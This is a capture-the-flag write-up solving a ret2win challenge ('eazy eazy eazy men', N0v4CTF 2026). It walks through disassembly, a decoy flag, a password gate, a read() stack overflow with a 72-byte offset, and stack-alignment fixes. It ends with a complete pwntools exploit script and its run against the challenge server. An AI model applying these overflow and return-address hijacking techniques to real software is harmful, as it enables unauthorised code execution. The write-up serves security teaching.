eazy eazy eazy men
Don’t let sweet lies blind you; sometimes the shortest path to your destination lies behind a door locked with carelessness.
Connections
- 34.87.191.188:9002
Attachments
Recon
The archive holds a single file, chall, a small Linux x86-64 binary, and the challenge pairs it with a netcat service.
Running it before reading it
First contact, before opening any disassembler, answering the prompt with nonsense:
$ printf 'hello\n' | ./chall; echo "exit=$?"
Name Name Name Name Name Name Name???
> Flag is: NVR{0hhh_b4by_v3ry_g00d}
exit=1
The program wants a name, and a wrong name earns a flag-shaped string plus a hard exit(1). A flag handed out for typing garbage is bait, so we set that string aside and went looking for whatever the right name unlocks. (The > is the program’s prompt; it prints without a newline, which is why it shares a line with whatever comes next.)
Protections and symbols
Back in the shell we checked what we were dealing with:
$ file chall
chall: ELF 64-bit LSB executable, x86-64, ... dynamically linked, not stripped
$ checksec --file=chall
[*] chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled on new kernels
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
No PIE means the binary loads at the fixed base 0x400000, so every address in the disassembly is an address we can jump to as-is. No canary means nothing notices a smashed return address. The stack is even executable (GNU_STACK shows RWE under readelf -lW), so shellcode would have been an option too, but with symbols intact we spotted a win function and settled on a plain ret2win: no leak, no shellcode, just reach the overflow and return into win.
Reading the program
objdump -d -M intel shows the whole program. main only un-buffers stdout with setvbuf (so the prompts arrive promptly over the network) and calls vuln, which holds both the password gate and the bug:
void vuln() {
char name[0x60]; // at rbp-0x60
puts("Name Name Name Name Name Name Name???");
printf("> ");
fgets(name, 0x20, stdin); // safe: 32 bytes into a 96-byte array
name[strcspn(name, "\n")] = 0; // strip the newline
if (strcmp(name, "r3tn3c") != 0) { // the name gate
puts(&fake); // the fake flag line from our first run
exit(1);
}
puts("Talk Talk Talk Talk Talk Talk Talk???");
printf("> ");
read(0, name + 0x20, 0xc8); // 200 bytes into the same array
}
The password is the string at 0x40206b in .rodata: r3tn3c, the author’s handle in leetspeak. The bug is the second read. It accepts up to 0xc8 (200) bytes starting at name + 0x20, which is rbp-0x40. From there, 0x40 bytes of stack reach the saved rbp and 8 more reach the saved return address, so the padding before RIP is 0x40 + 8 = 72 bytes. The disassembly behind that:
401317: lea rax, [rbp - 0x60]
40131b: add rax, 0x20 ; destination = rbp-0x40
40131f: mov edx, 0xc8 ; up to 200 bytes
40132c: call read@plt
401332: leave
401333: ret
And win at 0x401236 prints a banner and then runs a shell command:
0000000000401236 <win>:
40123e: lea rax, [rip + 0xdc3] # "[+] Flag Flag Flag Flag Flag Flag Flag"
401248: call puts@plt
40124d: lea rax, [rip + 0xddc] # "cat flag.txt"
401257: call system@plt
The password works
With the password out of .rodata we could see the second stage for ourselves:
$ printf 'r3tn3c\nshort input\n' | ./chall; echo "exit=$?"
Name Name Name Name Name Name Name???
> Talk Talk Talk Talk Talk Talk Talk???
> exit=0
A short second input leaves the program cleanly, so the crash, if there is one, has to come from a long one.
Exploitation
Why a single write does not overflow
Our first overflow attempt sent the password and 200 bytes of A in a single stream:
$ python3 -c "import sys; sys.stdout.write('r3tn3c\n' + 'A'*200)" | ./chall; echo "exit=$?"
Name Name Name Name Name Name Name???
> Talk Talk Talk Talk Talk Talk Talk???
> exit=0
The program still exits cleanly, although 200 bytes should have overwritten the saved return address. The explanation is the mismatch between the two reads. Stage one is fgets, a stdio call, and stdio pulls whatever is available in the pipe into its internal FILE buffer, password and payload together in one slurp. Stage two is a raw read() syscall, which bypasses stdio; it found the pipe already drained and closed, returned 0, and vuln returned normally without touching the stack. Split the exact same input into two writes with a pause in between and the crash appears:
$ { printf 'r3tn3c\n'; sleep 2; python3 -c "import sys; sys.stdout.write('A'*200)"; } | ./chall
Name Name Name Name Name Name Name???
> Talk Talk Talk Talk Talk Talk Talk???
> Segmentation fault (core dumped)
That confirmed the overflow, and it imposed a constraint on the exploit: it has to be a scripted two-send exchange synchronized on the prompts, not a single write.
Reaching win and fixing stack alignment
Following the offset math, we built 72 bytes of padding followed by the address of win:
$ { printf 'r3tn3c\n'; sleep 2; python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + (0x401236).to_bytes(8,'little'))"; } | ./chall
Name Name Name Name Name Name Name???
> Talk Talk Talk Talk Talk Talk Talk???
>
[+] Flag Flag Flag Flag Flag Flag Flag
Segmentation fault (core dumped)
The banner is win’s first puts, so control of RIP at offset 72 works, but the process dies right after, inside win, at the system() call. Entering a function through ret instead of call leaves the stack 8 bytes off from what the x86-64 ABI promises callees, and modern glibc’s system() performs 16-byte aligned SSE loads (movaps) that fault on a misaligned stack. The fix costs one extra chain slot. A bare ret gadget pops 8 bytes and hands win the alignment it expects, and we did not even have to hunt for one: vuln ends in exactly that instruction, the ret at 0x401333 shown in the disassembly above.
$ { printf 'r3tn3c\n'; sleep 2; python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + (0x401333).to_bytes(8,'little') + (0x401236).to_bytes(8,'little'))"; } | ./chall
Name Name Name Name Name Name Name???
> Talk Talk Talk Talk Talk Talk Talk???
>
[+] Flag Flag Flag Flag Flag Flag Flag
cat: flag.txt: No such file or directory
Now win runs to completion, and system("cat flag.txt") fails only because there is no flag file beside the binary. As a sanity check on the offset we also tried 71 bytes of padding instead of 72, which produced a bare segfault and no banner: the gadget address lands one byte short of the saved RIP and the return goes somewhere mangled. 72 is exact.
The script
The final exploit is that experiment pointed at the remote service, pwntools doing the socket work and the two sends synchronized on the prompts:
#!/usr/bin/env python3
"""eazy eazy eazy men - N0v4CTF 2026 - ret2win exploit"""
import re
import sys
from pwn import *
context.arch = "amd64"
context.log_level = "info"
HOST, PORT = "34.87.191.188", 9002
WIN = 0x401236 # win(): puts("[+] Flag Flag...") ; system("cat flag.txt")
RET = 0x401333 # bare `ret` in vuln -> 16-byte stack alignment for system()
OFFSET = 72 # read buffer at rbp-0x40, saved RIP at rbp+8 -> 0x48 bytes
PASSWORD = b"r3tn3c"
io = remote(HOST, PORT)
# Stage 1: pass the strcmp gate. Send alone so fgets' stdio buffering
# doesn't swallow the overflow payload (read(2) is a raw syscall).
io.recvuntil(b"Name Name Name Name Name Name Name???")
io.sendline(PASSWORD)
# Stage 2: overflow the read() buffer and redirect to win()
io.recvuntil(b"Talk Talk Talk Talk Talk Talk Talk???")
io.recvuntil(b"> ")
payload = b"A" * OFFSET + p64(RET) + p64(WIN)
io.send(payload)
data = io.recvall(timeout=8).decode(errors="replace")
print(data)
m = re.search(r"NVR\{[^}]*\}", data)
if m:
flag = m.group(0)
if flag == "NVR{0hhh_b4by_v3ry_g00d}":
log.failure("Got the DECOY flag, not the real one")
sys.exit(1)
log.success("FLAG: %s", flag)
open("flag_remote.txt", "w").write(flag + "\n")
else:
log.failure("No flag found in output")
The regex check is there on purpose. If a run somehow landed on the wrong-password path, the script would see the decoy and fail loudly instead of saving a fake flag.
Flag capture
Against the real service, where flag.txt actually exists, the same payload reaches win:
$ python exploit.py
[+] Opening connection to 34.87.191.188 on port 9002: Done
[+] Receiving all data: Done (75B)
[+] Flag Flag Flag Flag Flag Flag Flag
NVR{st4ck_0v3rfl0w_1s_cl4ss1c_b4by}